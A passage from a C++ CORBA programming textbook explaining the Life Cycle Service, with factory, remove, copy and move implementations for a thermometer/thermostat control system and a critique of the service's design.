If it does, the code throws a DuplicateAsset exception. (The exists function is a 
simple helper function that returns true if the asset number passed to it is in the 
m_assets map.) The next step is to inform the ICP network of the existence of the new 
device and to program its location string. Next, the code adds an entry for the new device 
to the m_assets map, storing a null pointer to the servant. In other words, the factory 
does not immediately instantiate a servant for the new device but instead delays 
instantiation until the first operation is invoked. (You will see how this works in 
Section 12.6.) The final step is to call the make_dref helper function, which creates 
an object reference for the new device. 
Here is the code for make_dref: 
       
static CCS::Thermometer_ptr 
make_dref(PortableServer::POA_ptr poa, CCS::AssetType anum) 
{ 
    // Convert asset number to OID. 
    ostrstream ostr; 
    ostr < < anum < < ends; 
    char * anum_str = ostr.str(); 
    PortableServer::ObjectId_var oid 
        = PortableServer::string_to_ObjectId(anum_str); 
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    ostr.rdbuf()->freeze(0); 
 
    // Look at the model via the network to determine 
    // the repository ID. 
    char buf[32]; 
    if (ICP_get(anum, "model", buf, sizeof(buf)) != 0) 
        abort(); 
    const char * rep_id = strcmp(buf, "Sens-A-Temp") == 0 
                            ? "IDL:acme.com/CCS/Thermometer:1.0" 
                            : "IDL:acme.com/CCS/Thermostat:1.0";:  
"IDL:acme.com/CCS/Thermostat:1.0"; 
 
    // Make a new reference. 
    CORBA::Object_var obj 
        = poa->create_reference_with_id(oid, rep_id); 
    return CCS::Thermometer::_narrow(obj); 
} 
 
      

The make_dref function merely encapsulates similar code that is shown in Chapter 
11. Note that we pass to make_dref an object reference to the POA for the new 
servant. That POA reference in turn is remembered by the controller's constructor, shown 
on page 543. 
 
Looking at create_thermometer and make_dref, you can see that very little 
work is actually required to create a new object. The factory simply informs the network 
of the new device, updates the controller's notion of what devices exist, and creates an 
object reference for the new device. 
 
The implementation of create_thermostat is similar. The main difference is that 
we must check whether the initial temperature setting is in range and that we must narrow 
the reference returned by make_dref to the correct type: 
       
CCS::Thermostat_ptr 
Controller_impl:: 
create_thermostat( 
    CCS::AssetType  anum, 
    const char *    loc, 
    CCS::TempType   temp 
) throw( 
    CORBA::SystemException, 
    CCS::Controller::DuplicateAsset, 
    CCS::Thermostat::BadTemp) 
{ 
    // Make sure the asset number is new. 
    if (exists(anum)) 
        throw CCS::Controller::DuplicateAsset(); 
 
    // Add the device to the network and program its location. 
    if (ICP_online(anum) != 0) 
        abort(); 
    if (ICP_set(anum, "location", loc) != 0) 
        abort(); 
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    // Set the nominal temperature. 
    if (ICP_set(anum, "nominal_temp", &temp) != 0) { 
        // If ICP_set() failed, read this thermostat's minimum 
        // and maximum so we can initialize the BadTemp exception. 
        CCS::Thermostat::BtData btd; 
        ICP_get( 
            anum, "MIN_TEMP", 
            &btd.min_permitted, sizeof(btd.min_permitted) 
        ); 
        ICP_get( 
            anum, "MAX_TEMP", 
            &btd.max_permitted, sizeof(btd.max_permitted) 
        ); 
        btd.requested = temp; 
        btd.error_msg = CORBA::string_dup( 
            temp > btd.max_permitted ? "Too hot" : "Too cold" 
        ); 
        ICP_offline(anum); 
        throw CCS::Thermostat::BadTemp(btd); 
 
    } 
    // Add the new device to the m_assets map. 
    add_impl(anum, 0); 
    // Create reference and narrow it. 
    CORBA::Object_var obj = make_dref(m_poa, anum); 
    return CCS::Thermostat::_narrow(obj); 
} 
 
      
We imply in this example that we have chosen to delay instantiation of a servant for a 
new device and to rely on a servant manager to create a servant when the first request 
arrives. Of course, we also could have instantiated the servant immediately. However, 
delayed instantiation is useful with the Evictor pattern. Section 12.6 discusses the 
Evictor pattern and shows implementations of both a servant locator and a servant 
activator. 

12.4 Destroying, Copying, and Moving Objects 

As opposed to object creation, the Life Cycle Service defines IDL interfaces to destroy, 
copy, and move objects. The IDL definition for the service is quite short, so we present it 
here in full and explain it as we discuss the relevant interfaces and operations. 
      
//File: CosLifeCycle.idl 
#include <CosNaming.idl> 
#pragma prefix "omg.org" 
 
module CosLifeCycle { 
 typedef CosNaming::Name  Key; 
 typedef Object      Factory; 
 typedef sequence<Factory> Factories; 
 
 typedef struct NVP { 
   CosNaming::Istring name; 



IT-SC book: Advanced CORBA® Programming with C++ 

 481

   any         value; 
 } NameValuePair; 
 typedef sequence <NameValuePair> Criteria; 
 
 exception NoFactory    { Key search_key; }; 
 exception NotCopyable    { string reason; }; 
 exception NotMovable     { string reason; }; 
 exception NotRemovable    { string reason; }; 
 exception InvalidCriteria { Criteria invalid_criteria; }; 
 exception CannotMeetCriteria { Criteria unmet_criteria; }; 
 
 interface FactoryFinder { 
   Factories  find_factories(in Key factory_key) 
              raises(NoFactory); 
 }; 
 
 interface LifeCycleObject { 
   LifeCycleObject copy( 
              in FactoryFinder  there, 
              in Criteria    the_criteria 
           ) raises( 
              NoFactory, NotCopyable, 
              InvalidCriteria, CannotMeetCriteria 
           ); 
 
    void      move( 
              in FactoryFinder  there, 
              in Criteria    the_criteria 
           ) raises( 
              NoFactory, NotMovable, 
              InvalidCriteria, CannotMeetCriteria 
           ); 
 
    void      remove() raises(NotRemovable); 
}; 
 
interface GenericFactory { 
  boolean supports(in Key k); 
 
  Object create_object(in Key k, in Criteria the_criteria) 
        raises( 
           NoFactory, InvalidCriteria, 
           CannotMeetCriteria 
        ); 
 }; 
}; 
 
     
The important interface here is LifeCycleObject, which contains the copy, move, 
and remove operations. The intent of this interface is to act as an abstract base interface. 
If we want to create objects that support these life cycle operations, we simply inherit 
from LifeCycleObject: 
      
#include <CosNaming.idl> 
#pragma prefix "acme.com" 
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module CCS { 
  // ... 
  interface Thermometer : CosLifeCycle::LifeCycleObject { 
  readonly attribute ModelType  model; 
  readonly attribute AssetType  asset_num; 
  readonly attribute TempType  temperature; 
       attribute LocType   location; 
    }; 
    interface Thermostat : Thermometer { 
       // ... 
    }; 
    // ... 
}; 
 
     
Here we modify the IDL for the Thermometer interface to inherit from 
LifeCycleObject. (Because Thermostat inherits from Thermometer, this 
means that thermostats also support the life cycle operations.) 

12.4.1 Destroying Objects 

To destroy an object, the client invokes the remove operation on the object. For 
example: 
       
CCS::Thermometer_var t = ...;    // Get a thermometer... 
t->remove();                     // Permanently destroy the device 
assert(t->_non_existent());   // Must return true 
 
      
After the client invokes the remove operation, the device is permanently gone. In this 
example, the code demonstrates this by asserting that the _non_existent member 
function on the CORBA::Object base class returns true. If, after calling remove, the 
client were to invoke another operation on the thermometer, perhaps to read the current 
temperature, the operation would throw an OBJECT_NOT_EXIST exception. 
 
It is important to be clear about what is being destroyed here. The remove operation 
permanently ends the life cycle of an object. This means that all operations after calling 
remove must raise OBJECT_NOT_EXIST (or TRANSIENT in some cases—see 
Section 14.4.5). Moreover, all invocations made by other clients via references to the 
same thermometer also must raise OBJECT_NOT_EXIST. After the object is destroyed, 
this also means that other operations, such as the list and find operations on the 
controller, will no longer return the destroyed device. In other words, the remove 
operation terminates the conceptual CORBA object and not just the servant that 
represents the object. 
 
The implementation of remove is not quite as simple as that of the factory operations. In 
particular, how to implement remove correctly depends on the policies of the POA 
responsible for the device servants. 
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Implementing the remove Operation with a Servant Locator 

For use with servant locators, remove is easy to implement: 
        
void 
Thermometer_impl:: 
remove() throw(CORBA::SystemException) 
{ 
    // Remove self from the m_assets map. 
    m_ctrl->remove_impl(m_anum); 
    // Inform network that the device is gone. 
    if (ICP_offline(m_anum) != 0) 
        abort(); 
} 
 
       
The code updates the controller's m_assets by deleting the entry corresponding to the 
device and informs the network that the device is now gone. The servant locator performs 
the actual destruction of the servant in its postinvoke operation. Any remaining state 
cleanup happens in the destructor of the servant: 
        
Thermometer_impl:: 
~Thermometer_impl() 
{ 
  if (m_ctrl->exists(m_anum)) 
    m_ctrl->add_impl(m_anum, 0);  // Clear servant pointer 
} 
 
       
The destructor first checks whether there is still an entry for the servant in the controller's 
m_assets map. If no entry is found, the destructor is being called as the result of a 
remove invocation from a client. In that case, the CORBA object is already destroyed, 
and the destructor need not do any more work for this simple example. (In a more 
complex application, the destructor of an object could perform further finalization of the 
persistent state, such as deleting memory for private data members or closing files.) 
 
On the other hand, if the destructor still finds an entry for this servant in the m_assets 
map, only the C++ servant for the device is being destroyed, but the device itself still 
exists. This happens if, for example, the CCS server shuts down. In that case, we want to 
destroy only the servant but must not remove knowledge of the device's existence from 
the controller. (The controller must still write the device's asset number into its persistent 
file.) The destructor deals with this case by setting the device's servant pointer in the 
m_assets map to null but leaving the entry itself intact. This indicates that the CORBA 
object still exists but no longer has a servant in memory. 
 
Note that this version of remove is appropriate only for a single-threaded server, in 
which it is impossible for multiple requests to be executing concurrently. (Chapter 21 
shows how to do this correctly in a multithreaded server.) In fact, the code we show in 
this chapter assumes that the entire server application has only a single thread and that all 
POAs that host CCS objects have the SINGLE_THREAD_MODEL policy value. The 
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reason we assume this is that our Thermometer and Thermostat servants must 
occasionally access data structures kept in our Controller servant. As we explain in 
Section 11.4.7, interactions among servants registered with different POAs may, 
depending on the ORB implementation, need to be prepared to deal with multithreading 
issues if the underlying server application is multithreaded. This is because the ORB 
implementation might assign a separate thread to each POA even if all those POAs have 
the SINGLE_THREAD_MODEL policy value. 

Implementing the remove Operation with a Servant Activator 

For use with servant activators, remove must be implemented differently. Recall from 
Chapter 11 that a servant activator implies the RETAIN policy value on the POA, so 
the POA maintains the Active Object Map for us. This means that the controller contains 
only a set of asset numbers instead of a map from asset numbers to servant pointers. To 
correctly remove a device if we are using a servant activator, we must add another private 
data member to the Thermometer_impl class: 
        
class Thermometer_impl : public virtual POA_CCS::Thermometer { 
public: 
    // As before... 
 
private: 
    bool m_removed; // To support remove() 
    // Remainder as before... 
}; 
 
       
The m_removed member is initialized to false by the constructor of the class and is used 
by the servant activator. We show how this works in a moment. But first, here is the 
implementation of remove: 
        
void 
Thermometer_impl:: 
remove() throw(CORBA::SystemException) 
{ 
    // Make an OID for self. 
    ostrstream ostr; 
    ostr < < m_anum < < ends; 
    char * str = ostr.str(); 
    PortableServer::ObjectId_var oid = 
        PortableServer::string_to_ObjectId(str); 
    ostr->rdbuf().freeze(0); 
 
    poa->deactivate_object(oid);    // Deactivate self. 
 
    // Remove device from m_assets set. 
    m_ctrl->remove_impl(m_anum); 
 
    m_removed = true;               // Mark self as removed. 
} 
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This code is surprisingly simple. In fact, it has only three steps. First, the code calls 
deactivate_object, supplying the thermometer's object ID. After 
deactivate_object returns, the code then removes the device from the controller's 
asset set. Finally, it marks the device as removed by setting the m_removed member to 
true. This innocent-looking function triggers quite a complex trail of activity. 
 
After deactivate_object is called, the POA eventually removes the servant's entry 
from the Active Object Map. It waits until there are no more active requests for the 
target's object ID. After the entry is removed, the CORBA object representing the 
thermometer no longer exists. 
 
The call to deactivate_object eventually (but not immediately) results in a call to 
etherealize on the servant activator. 
 
Following the call to deactivate_object, the method sets the m_removed private 
data member to true. As you will see shortly, we need this knowledge to correctly deal 
with destruction of the remaining object state for the servant. 
 
Now remove returns control to the ORB run time. The POA tracks the number of calls 
that are still in progress in the deactivated object. (In a threaded server, there may be 
several invocations in progress in the same object simultaneously.) After all invocations 
for this object have completed, the POA invokes the etherealize function on the 
servant activator to tell it that it should now clean up the remaining object state. 
 
In our example, the etherealize function is simple: 
        
void 
ThermometerActivator_impl:: 
etherealize( 
    const PortableServer::ObjectId & oid, 
    PortableServer::POA_ptr              poa, 
    PortableServer::Servant              servant, 
    CORBA::Boolean                       cleanup_in_progress, 
    CORBA::Boolean                       remaining_activations 
) throw(CORBA::SystemException) 
{ 
    // Destroy servant. 
    if (!remaining_activations) 
        delete servant; 
} 
 
       
etherealize calls delete on the servant pointer. Note that 
remaining_activations will be false in this example because we are not using a 
single servant to represent multiple CORBA objects. In a design that maps multiple 
CORBA objects to a single servant, remaining_activations is true while there 
are still entries in the Active Object Map for the servant, and etherealize must 
delete the servant only when all entries for the servant are removed. 
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The call to delete made by etherealize causes the thermometer's destructor to be 
invoked: 
        
Thermometer_impl:: 
~Thermometer_impl() 
{ 
    if (m_removed) { 
        // Inform network that device is off-line. 
        ICP_offline(m_anum); 
    } 
} 
 
       
The destructor tests the m_removed member. If the CORBA object was removed, the 
destructor informs the network that the device was permanently removed. 

Evaluating the remove Implementation 

The servant locator implementation of remove is straightforward. In contrast, the 
implementation of remove with a servant activator is more complex. In particular, why 
do we need all this machinery involving deactivate_object, etherealize, the 
m_removed member, and the destructor? Or, to phrase the question differently, why not 
simply implement remove in the following way? 
        
void 
Thermometer_impl:: 
remove() throw(CORBA::SystemException) 
{ 
    // Clean up state. 
    m_ctrl->remove_impl(m_anum); 
    ICP_offline(m_anum); 
 
    // Self-destruct. 
    delete this;            // Bad news! 
} 
 
       
In a single-threaded server, this code would (almost) work. The first step removes the 
asset number from the set of assets in the controller and marks the device off-line, 
effectively destroying the device's state. In the second step, the servant simply destroys 
itself. 
 
Unfortunately, the POA does not allow us to self-destruct this way. The behavior is 
undefined if we delete a servant that still has an entry in the Active Object Map. If we 
simply delete the servant as shown, the servant will be correctly destroyed, but the POA 
has no idea that this has happened, and it thinks the CORBA object still exists. If a client 
makes a call via a reference to the device that was incarnated by the now-destroyed 
servant, the POA still finds an entry to the servant in the Active Object Map. When the 
POA then dispatches the incoming call to its servant method, the server is likely to core 
dump because the memory for that servant instance no longer exists. 
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Even if we were to use reference counting for our servants and call _remove_ref 
instead of delete, the example would still be wrong. We would avoid destroying the 
servant out from under the POA's Active Object Map, but the POA would still think the 
CORBA object was active because _remove_ref affects only the servant and not the 
CORBA object. 
 
By calling deactivate_object, as in the preceding example, we correctly inform 
the POA that the object no longer exists by breaking the association between the object 
ID and the servant. 
 
The etherealize function is responsible for deleting the servant once there are no 
remaining activations for that servant, and that causes the destructor to be called. 
 
Finally, in the destructor, we test the m_removed member one more time and mark the 
device as being off-line only if it was actually destroyed. Again, we might as well do this 
in etherealize, so why wait until the destructor runs? In this example, we could have 
done this because it assumes the whole server is single-threaded. However, as we will see 
in Chapter 21, doing this in the destructor instead of inside remove or 
etherealize can result in better performance in a multithreaded server by reducing 
lock contention. For example, the POA guarantees that it will serialize calls to 
incarnate and etherealize, so the sooner we get out of etherealize, the 
sooner the servant activator becomes available again to activate another object. 
Furthermore, etherealize is a method on our servant activator, and not our servant, 
so it cannot see the servant's m_removed data member. Making it public just so that 
etherealize can see it, or adding public accessor functions for it, adds 
unnecessarily to the coupling between the servant and the servant activator. 
 
Note that the etherealize function we have shown assumes that the servant class 
does not use reference counting, so etherealize can directly call delete. For 
reference-counted servants, instead of calling delete, etherealize simply 
decrements the reference count: 
        
void 
ThermometerActivator_impl:: 
etherealize( 
    const PortableServer::ObjectId & /* oid */, 
    PortableServer::POA_ptr              /* poa */, 
    PortableServer::Servant              servant, 
    CORBA::Boolean                       /* cleanup_in_progress */, 
    CORBA::Boolean                       remaining_activations 
) throw(CORBA::SystemException) 
{ 
    // Destroy servant. 
    if (!remaining_activations) 
        servant->_remove_ref(); 
} 
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After the reference count drops to zero, the _remove_ref method calls delete to 
destroy the servant, so the net effect of this version of etherealize is the same as for 
the earlier one that does not use reference counting. 

Summary of Steps During remove 

Depending on exactly how you have implemented your server, the policy settings on the 
POA, and whether you are using servant activators, you have many different options for 
implementing the remove operation. We illustrate the most complex scenario here by 
showing how to implement remove with a POA policy of RETAIN and in the presence 
of a servant activator. The key points of the preceding section are as follows. 
 
We use a separate servant for each CORBA object. 
 
The POA uses the RETAIN policy, so it has an Active Object Map for the servants. 
 
A servant activator is used to instantiate servants on demand. 
 
This design is a very common one for CORBA servers. Whenever you follow this 
general approach, we recommend that you implement remove according to the 
following steps. 

Step 1.  
In the body of the remove operation, break the CORBA object-to-servant association by 
calling deactivate_object and mark the servant as removed. This technique 
ensures that the POA will no longer accept new requests from other clients for the same 
object. 

Step 2.  
In etherealize, either call delete or, for reference-counted servants, 
_remove_ref, but only if remaining_activations is false. This technique 
ensures that if you map several CORBA objects to a single servant, the servant will be 
deleted only when it no longer incarnates any CORBA objects. In addition, for 
multithreaded servers, this approach keeps lock contention to a minimum. 

Step 3.  
In the destructor of the servant, remove the remaining state for the object. If 
m_removed is true, destroy all of the object's state, including its persistent state. If 
m_removed is false, destroy only the state associated with the servant and do not 
destroy the state associated with the CORBA object. This ensures that no resources are 
leaked. 
 
Unfortunately, given the weak guarantees the POA provides for actually removing the 
Active Object Map entry for a deactivated object and etherealizing its servant (as we 
describe in Section 11.9), your object and servant may stay alive a lot longer than you 
think they will. You therefore might have to check the equivalent of an m_removed data 
member in each of your servant's methods and throw OBJECT_NOT_EXIST if it is true. 
With this approach, even if the POA keeps dispatching requests to your servant after 
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remove has called deactivate_object, clients will still be properly informed that 
the object no longer exists. This is a tedious but viable workaround for the shortcomings 
of deactivate_object. 

Why Is remove on the Object Instead of the Factory? 

Developers who are new to distributed objects are frequently puzzled by the question, 
"Why is it that remove is an operation on the object and not on the factory? Surely, if 
the factory can create an object, it can also destroy it again later, so shouldn't the 
remove operation be on the factory, too?" 
 
To see the motivation for making remove part of the object's interface and not the 
factory's interface, consider a system that has two separate clients. One client's job is to 
create objects and make them available to the system. Let's call this client the creator. 
The other client's job is to dispose of objects when they are no longer needed. Let's call 
this client the destroyer. Assume that our system deals with many different types of 
objects, that we have thousands of objects, and that there are dozens of factories to create 
them. 
 
Given these assumptions, it becomes easy to see that making the remove operation part 
of the factory's interface would cause problems. The object references in our system may 
be passed from process to process many times during their lifetime. For example, we 
could be dealing with a workflow system in which different parts of the workflow are 
controlled by different servers and are passed from server to server as the workflow 
progresses. Eventually, when a workflow is complete, its object references are passed to 
the destroyer to dispose of the objects in the workflow. The destroyer now would have a 
serious problem if the remove operations were on the various factories: for each object to 
be destroyed, the destroyer would have to have not only the object's reference but also the 
object's factory reference. 
 
In a large system, it is easy to lose track of the associations between objects and their 
factories. We could choose to store these associations in a service, but then we would 
immediately have to deal with consistency issues: if the service's notion of which objects 
exist ever got out of sync with the actual situation, we would have corrupt state in the 
system. 
 
By keeping the remove operation on each individual object, we avoid the need to keep 
track of object-to-factory associations. To destroy an object, the destroyer requires only 
the object's reference and, by invoking the remove operation, can instruct the object to 
commit suicide. 
 
Note that we could also solve the problem by adding an operation to each object that 
returns a reference for the object's factory to the destroyer. However, there is no need to 
do this. If for some reason we want the factories to destroy the objects they created, we 
can simply store a reference to a factory inside each object as part of each object's private 
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state. The implementation of remove in each object can then simply delegate the 
remove operation to its own factory. 
 
Yet another problem with making remove a factory operation is the issue of object 
reference identity. Given only a reference to an object, the factory may not be able to 
reliably identify the object that belongs to the reference. This problem arises because of 
the weak semantics of the is_equivalent operation on the Object interface. Rather 
than explain this issue in detail here, we defer it until Section 20.3.3, where we 
discuss it in the context of the Callback pattern. 
 
Overall, keeping remove as an operation on each object is a far cleaner and better 
encapsulated solution than making remove part of the factory's interface. We strongly 
recommend that you follow this approach. 

12.4.2 Copying Objects 

Here again is the copy operation on the LifeCycleObject interface: 
       
//File: CosLifeCycle.idl 
#include <CosNaming.idl> 
#pragma prefix "omg.org" 
 
module CosLifeCycle { 
  //... 
  interface LifeCycleObject { 
     LifeCycleObject copy( 
                in FactoryFinder  there, 
                in Criteria    the_criteria 
              )raises( 
                NoFactory, NotCopyable, 
                InvalidCriteria, CannotMeetCriteria 
              ); 
   // ... 
 };  
 // ... 
}; 
 
      
For the moment, we will ignore the there and the_criteria parameters. The intent 
of the copy operation is that a client can invoke it on an object to obtain a reference to a 
new object that is a copy of the original in some way. Unfortunately, the copy operation 
does not make a lot of sense for the objects in the CCS server because physical devices 
such as thermometers do not have copy semantics. To illustrate the general use of copy, 
we assume that the client uses objects of type ImageFile, which support copying. 

Using the copy Operation 

To create a copy of an image object, the client would invoke the copy operation this way: 
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// Get image object... 
ImageFile_var image_1 = ...; 
 
CosLifeCycle::FactoryFinder_var ff; // Initialized to nil 
CosLifeCycle::Criteria          c; // Initialized to empty 
 
// Make copy of the image. 
CosLifeCycle::LifeCycleObject_var obj = image_1->copy (ff, c); 
 
// Narrow to copied-to type. 
ImageFile_var image_2 = ImageFile::_narrow(obj); 
 
// Making changes to image_2 now won't affect image_1 
// because image_2 is a new object that was copied. 
 
       
Conceptually, the copy operation is very much like a factory because both a factory 
operation and copy create a new object. The difference is that for copy, the initial state 
for the new object is not passed as parameters but instead is taken from the source object. 
In many ways, copy is the conceptual equivalent of a C++ copy constructor or, more 
accurately, the equivalent of a virtual clone member function that creates a copy of an 
object polymorphically. 
 
Because the implementation of copy typically is similar to that of a factory operation, 
we do not show an implementation here. Instead, let us examine the copy operation in 
more detail. 
 
The copy operation returns a reference of type LifeCycleObject, which in turn 
means that the calling client must narrow the reference before it can use it. The copy 
operation returns a generic reference because it has no other choice: the operation's 
interface must be suitable for copying objects of arbitrary type, so there is no way to 
make the return type more specific. (We could have made the return type less specific by 
using type Object instead, but that would loosen the type system more than necessary. 
Because copy is supposed to make a copy of the same type as the source, it follows that 
if the source inherits from LifeCycleObject, so will the copy.) 
 
In the preceding example, we passed a nil reference and an empty sequence to the copy 
operation. There is nothing wrong with this, and, in fact, the specification mentions this 
as a valid use of the operation. By passing a nil reference and an empty sequence, we are 
not passing any additional information to the object that is supposed to create a copy of 
itself. In other words, the assumption is that the source object can copy itself without 
further help in the form of additional parameters. This may be a valid assumption for 
some objects but typically does not hold for all objects. 

Using the there and the the_criteria Parameters 

We mentioned in the preceding section that a copy operation is similar to a factory 
operation. However, the copy operation is invoked on the object to be copied and not on 
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a factory. If the source object does not have sufficient knowledge to copy itself, this 
behavior presents a problem. In addition, we may want the copy to be created 
"somewhere else," such as in a different image database. To permit objects to be ignorant 
of the details of how to copy themselves and to allow copies to be created "elsewhere," 
we can pass a non-nil there parameter to the copy operation. The there parameter is 
an object reference to an object of type FactoryFinder: 
        
module CosLifeCycle { 
  typedef CosNaming::Name   Key; 
  typedef Object       Factory; 
  typedef sequence<Factory>  Factories; 
 
  exception NoFactory     { Key search_key; }; 
 
  interface FactoryFinder { 
    Factories  find_factories(in Key factory_key) 
               raises(NoFactory); 
  }; 
  // ... 
}; 
 
       
The idea is that the copy operation can call the find_factories operation on the 
passed object to locate a factory that can create a copy. The find_factories 
operation returns a sequence of object references (of type Object). After find_factories 
returns, the copy operation somehow picks one of the returned factory references and, to 
create a copy of itself, delegates object creation to that factory. 
 
The factory_key parameter is a multicomponent name as used by the Naming 
Service (see Chapter 18). It is similar to a UNIX pathname and is passed to the factory 
finder to somehow direct it toward suitable factories (whose references could be stored in 
the Naming Service). 
 
If anything goes wrong, the find_factories operation can raise the NoFactory 
exception to indicate that it could not locate a suitable factory. 
 
The second parameter to the copy operation is the the_criteria parameter, of type 
Criteria: 
        
module CosLifeCycle { 
  // ... 
 
  typedef struct NVP { 
    CosNaming::Istring name; 
    any        value; 
    } NameValuePair; 
    typedef sequence <NameValuePair> Criteria; 
    // ... 
}; 
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As you can see, the the_criteria parameter is a sequence of name-value pairs, or 
CORBA's equivalent of a function with untyped parameters. The intent of 
the_criteria is to supply additional information either to guide the choice of factory 
by the factory finder or to supply additional parameters to the factory, such as a database 
name, location, or file name for the copy of an image file. 
 
We suspend our discussion of copy for the moment and return to it again in Section 
12.5. 

12.4.3 Moving Objects 

The move operation has a signature similar to that of the copy operation: 
       
// ... 
 
interface LifeCycleObject { 
  void    move( 
          in FactoryFinder  there, 
          in Criteria     the_criteria 
          ) raises( 
              NoFactory, NotMovable, 
              InvalidCriteria, CannotMeetCriteria 
            ); 
  // ... 
}; 
// ... 
 
      
The intent of the move operation is to physically move an object from one location to 
another without invalidating the reference to the moved object. The moved object is said 
to have migrated to the new location—for example, from inside one server on one 
machine to inside another server on a different machine. The parameters to the operation 
are the same as for the copy operation and are meant to provide further information as to 
where the object should be moved. However, the contents and meaning of the parameters 
are not further specified. 
 
We suspend our discussion of move for the moment and return to it in Section 12.5. 

12.4.4 Generic Factories 

The Life Cycle Service also defines a GenericFactory interface: 
       
module CosLifeCycle { 
 // ... 
 
 interface GenericFactory { 
   boolean supports(in Key k); 
 
   Object create_object(in Key k, in Criteria the_criteria) 
          raises( 
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             NoFactory, InvalidCriteria, 
             CannotMeetCriteria 
          ); 
  }; 
}; 
 
      
The create_object operation can be used to implement a factory that can create any 
type of object given appropriate parameters. We can supply an unlimited amount of 
information to create_object (because the name-value sequence passed in 
the_criteria is unbounded) to guide the operation in how to create the new object. 
A likely implementation would be that create_object would not directly create a 
new object but instead would use the parameters to decide how to delegate the invocation 
to a more specific factory that actually knows how to create the object. 
 
Because create_object must be able to return references to arbitrary types of objects, 
the return type is Object. 
 
The supports operation should return true if the generic factory could create a new 
object if passed the same key. It returns false otherwise. 

12.5 A Critique of the Life Cycle Service 

It is instructive to examine a few of the design decisions made in the Life Cycle Service 
and the consequences of these decisions. 

12.5.1 Generality of Design 

By necessity, the Life Cycle Service is very general. The service must provide IDL 
interfaces that permit clients to control the life cycle of objects without knowing anything 
about the types or the semantics of the objects in question. 
 
The design of the service clearly reflects this requirement for generality. For object 
creation, you can either use the GenericFactory interface or follow one of the 
factory design patterns discussed in Section 12.3. If you choose the 
GenericFactory interface, you must supply the parameters to the factory as name-
value pairs. As you will see in Chapter 15, values of type any are extremely flexible 
and powerful, but they are not nearly as easy to use as strongly typed values are. 
Moreover, even though type any is type-safe at run time, it is by necessity not type-safe at 
compile time. In other words, using type any replaces static compile-time type safety 
with dynamic run-time type safety. As a result, type mismatches are not detected until run 
time and are detected only if they actually occur. (In other words, they are detected only 
if we happen to have a test case that exposes the type mismatch.) 
 
Specific create operations, such as the create_thermometer operation you saw in 
Section 12.3, do not suffer from these problems. The object reference returned from a 
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specific factory operation can be strongly typed, whereas a generic factory must by 
necessity return the reference as type Object. The generic return type forces the 
receiving client to narrow the reference to its actual type, something that is inconvenient 
and not statically type-safe. 
 
The copy and move operations present the same trade-offs as the generic factory. 
Parameters are not statically type-safe, and the return value from copy is weakly typed 
(LifeCycleObject instead of a specific interface type, such as Thermometer). 

12.5.2 Date of Publication 

The Life Cycle Service was one of the first services to be defined and published by the 
OMG and, in some ways, is showing its age. For example, the FactoryFinder 
interface provides a generic hook to implement a selection mechanism that can choose 
one or more factories that are suitable to create the required object. Although this 
approach is valid, the problem is that it is too generic. In addition, creating an even 
halfway sophisticated factory finder can be as much work as building an entire 
application. As a result, we must make do with a simple factory finder unless we are 
prepared to expend a lot of effort. 
 
More recently, in 1997, the OMG published an updated version of the CORBAservices 
specification [21]. This document defines the OMG Trading Service, which provides a 
powerful and flexible object discovery mechanism. A trader can (among many other 
things) act as a generic factory finder. The significant advantage of the trader is that you 
do not have to implement it yourself. It also provides interfaces that are far more 
powerful and flexible than a simple generic factory, yet they do not compromise type 
safety to the same degree. We discuss the OMG Trading Service in detail in Chapter 
19. 

12.5.3 Problems with the move Operation 

The move operation presents two types of problems. One type of problem is conceptual, 
and the other is technical. 

Conceptual Problems with move 

The move operation is intended to enable object migration. In other words, a client can 
use it to direct an object to disappear from one server and to reappear in another. Even 
assuming that we have supplied sufficient information in the the_criteria parameter 
as to where and how the object should move, there are still serious conceptual issues 
associated with the idea of migration. 
 
The notion of object migration does not rest easy with the CORBA object model. One of 
the central features of CORBA, as we point out in Chapter 2, is the notion of location 
transparency. In fact, CORBA does not embody the concept of object location in its 
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object model at all. Instead, CORBA goes to great lengths to hide the location of an 
object from clients and provides a notion of object identity that, together with an object's 
location, is encapsulated inside object references. Attempts by application code to look 
inside an object reference to find out "where" it points to are illegal. 
 
This raises the question of whether an operation such as move even makes sense within 
the object model. If the object model has no sense of "here" and "there," why would 
clients, who are also part of the object model, want to move an object? To impart 
meaning to the idea of object location, we must step out of the system and look at it from 
a different level of abstraction. In other words, it is probably better to treat object location 
as an administrative aspect of CORBA rather than try to deal with it from inside the 
object model. 
 
The server to which an object is moved may support the same protocol as the original 
server, but the client that instructs an object to move itself may not support the target 
server's protocol. In other words, to guarantee that after a move the client will not lose 
connectivity to the object, the client would have to have knowledge of both the original 
server's and the target server's protocols. However, making that knowledge available to 
the client destroys the protocol transparency of the CORBA object model. 
 
The object to be moved may have persistent state in a database. Assuming that you can 
redirect the reference to the object to now denote an object in a different server, the 
question remains of how the persistent state for the object can be moved. Unless the 
source and the target server share a common data-base, it is difficult to see how this could 
be achieved without manual intervention. 
 
You can treat the move operation as a logical copy of the physical object state, but you 
must be careful about its semantics. The CORBA object model requires that a particular 
object reference must denote the same object throughout the object's lifetime. After an 
object is destroyed, all its references must become permanently non-functional. This 
means that an object's identity must not change during the move, and that the fact of its 
moving must be undetectable to all clients in the system as far as the object's semantics 
are concerned. If you are not extremely careful, you might unwittingly violate this rule if 
some small detail of the object's state that is visible to clients is affected by the move. 
 
The move operation raises the issue of object identity. This topic is full of pitfalls and is 
very difficult to define precisely. Object identity periodically becomes the subject of 
raging debate in the OMG, and it seems unlikely that agreement will ever arise from 
these discussions. 
 
The issue is similar to a vexing identity question examined by philosophers (and science 
fiction writers!). If we were to record the complete physical makeup of all the matter in a 
person (in other words, completely capture the state of a person), we could destroy the 
person and keep only a recording of the person's state. Assuming that later, by some 
miracle of technology, we could completely rebuild the state of the person so that the 
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person comes back to life, does the reconstructed person have the same identity as the 
destroyed person? If so, where was that person's identity while the person was destroyed? 
Clearly, the topic of identity has strong metaphysical and religious connotations, so we 
will not pursue it further here. Suffice it to say that object identity is under application 
control and can therefore mean whatever is most suitable to the application. For an 
outstanding treatment of these and related questions, see [6]. 

Technical Problems with move 

Apart from conceptual issues, there are also a number of technical problems with move. 
Because of CORBA's implementation and language transparency, when a client moves 
an object, the server at the original location and the server at the target location might use 
different CPU architectures or implementation languages. This raises the question of how 
the object could physically move in this case. At the very least, the source and the target 
server would have to have made prior arrangements for object migration by providing 
equivalent implementations of the object's behavior that happen to use different platforms 
and languages. This point illustrates that object migration is limited to precise and 
prearranged circumstances. 
 
The specification of move requires that the object reference for the moved object remain 
functional (that is, that it "follow" the object to its new location). As you will see in 
Chapter 14, many ORBs are physically incapable of moving a single object from one 
